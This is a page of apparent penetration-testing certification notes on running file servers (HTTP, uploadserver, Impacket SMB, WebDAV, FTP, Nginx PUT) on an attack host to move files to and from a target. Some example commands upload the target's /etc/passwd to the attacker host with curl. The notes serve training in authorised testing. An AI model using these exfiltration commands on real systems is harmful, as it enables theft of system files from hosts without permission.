Serving Files
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
On this page
Every transfer needs a server on one end. These run on your attack host. A download needs any web server. An upload needs a server that accepts POST or PUT requests. Pick the protocol the target can reach (Choosing a Method).
| Server | Direction | Default port | Best for |
|---|---|---|---|
python3 -m http.server |
Download | 8000 | Any target with an HTTP client |
uploadserver |
Download and upload | 8000 | Uploads from curl or PowerShell |
impacket-smbserver |
Download and upload | 445 | Windows targets |
wsgidav |
Download and upload | 8080 | Windows targets when a firewall blocks outbound 445 |
pyftpdlib |
Download, upload with --write |
2121 | Old hosts and the Windows ftp client |
| Nginx with PUT | Upload | Your choice | Uploads from curl -T |
Ports below 1024 need sudo.
HTTP
Serve the current folder:
sudo python3 -m http.server 80 # serve the current folder on port 80Serve another folder:
sudo python3 -m http.server 80 -d /opt/tools # serve /opt/tools on port 80-d sets the folder. The server logs each request, so a GET line also confirms the target reached you.
HTTP with upload
http.server accepts GET and HEAD only. uploadserver adds an upload page at /upload:
pipx install uploadserver # install the tool with pipxsudo $(which uploadserver) 80 # serve with uploads on port 80Kali blocks pip install into the system Python. pipx installs the tool in ~/.local/bin. sudo does not search that folder, so give it the full path with $(which uploadserver). On other hosts, these also work:
pip install uploadserver # install the tool with pippython3 -m uploadserver # serve with uploads on port 8000| Flag | Meaning |
|---|---|
80 |
Port. Default 8000 |
-d |
Folder to serve and save uploads to. Default the current folder |
--server-certificate |
PEM file with the certificate and key. Serves HTTPS |
--basic-auth user:pass |
Requires a login for downloads and uploads |
Upload a file to it:
curl -F 'files=@/etc/passwd' http://10.10.14.20/upload # upload /etc/passwdThe form field must be files. Repeat -F to send more than one file.
Serve HTTPS with a self-signed certificate. Keep the certificate outside the served folder:
# make a certificate and key in one PEM fileopenssl req -x509 -newkey rsa:2048 -nodes -sha256 -subj '/CN=server' -keyout ~/server.pem -out ~/server.pemmkdir ~/https && cd ~/https # empty folder to servesudo $(which uploadserver) 443 --server-certificate ~/server.pem # serve HTTPS on port 443Clients then need curl -k or --insecure to accept the certificate.
SMB
Share a folder with Impacket:
sudo impacket-smbserver share /opt/tools -smb2support # share a folder over SMBshare is the share name and /opt/tools the folder. -smb2support turns on SMB2. Windows 10 and later have no SMB1 client by default.
Enterprise, Education, and Server editions of Windows block guest access. Windows 11 Pro blocks it from 24H2. Add credentials:
sudo impacket-smbserver share /opt/tools -smb2support -username user -password pass # share with a loginThe share is writable by default. Add -readonly to block uploads.
The target side is in Windows Transfers.
WebDAV
WebDAV is file sharing over HTTP. Windows opens a WebDAV share with the same \\host\share paths as SMB. Use it when a firewall blocks outbound 445 and allows 80.
pipx install wsgidav && pipx inject wsgidav cheroot # install wsgidav with cheroot# share /opt/tools over WebDAV on port 80sudo $(which wsgidav) --host=0.0.0.0 --port=80 --root=/opt/tools --auth=anonymous| Flag | Meaning |
|---|---|
--host=0.0.0.0 |
Listens on all interfaces. Default localhost only |
--port |
Port. Default 8080 |
--root |
Folder to share as /, with read and write access |
--auth=anonymous |
No login |
cheroot is the web server that wsgidav runs on.
FTP
The FTP client side and the service itself are in FTP.
sudo apt install python3-pyftpdlib # install pyftpdlibsudo python3 -m pyftpdlib -p 21 -w # serve FTP on port 21 with uploads| Flag | Meaning |
|---|---|
-p |
Port. Default 2121 |
-w |
Allows uploads |
-u user -P pass |
Requires a login. Anonymous login is the default |
Nginx with PUT
A fixed upload endpoint that takes curl -T. Nginx runs no PHP by default, so an uploaded web shell does not run.
Make the upload folder:
sudo mkdir -p /var/www/uploads/up # make the upload foldersudo chown -R www-data:www-data /var/www/uploads/up # give it to the Nginx userWrite /etc/nginx/sites-available/upload.conf:
server { listen 9001;
location /up/ { root /var/www/uploads; dav_methods PUT; }}Turn on the site and restart Nginx:
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/ # turn on the sitesudo systemctl restart nginx # restart NginxIf Nginx fails to start, read /var/log/nginx/error.log. A bind() ... failed line means another process holds the port of the default site. Remove /etc/nginx/sites-enabled/default.
Upload from the target:
curl -T /etc/passwd http://10.10.14.20:9001/up/passwd.txt # upload /etc/passwd as passwd.txt-T sends the file with a PUT request. Nginx lists no folder contents by default.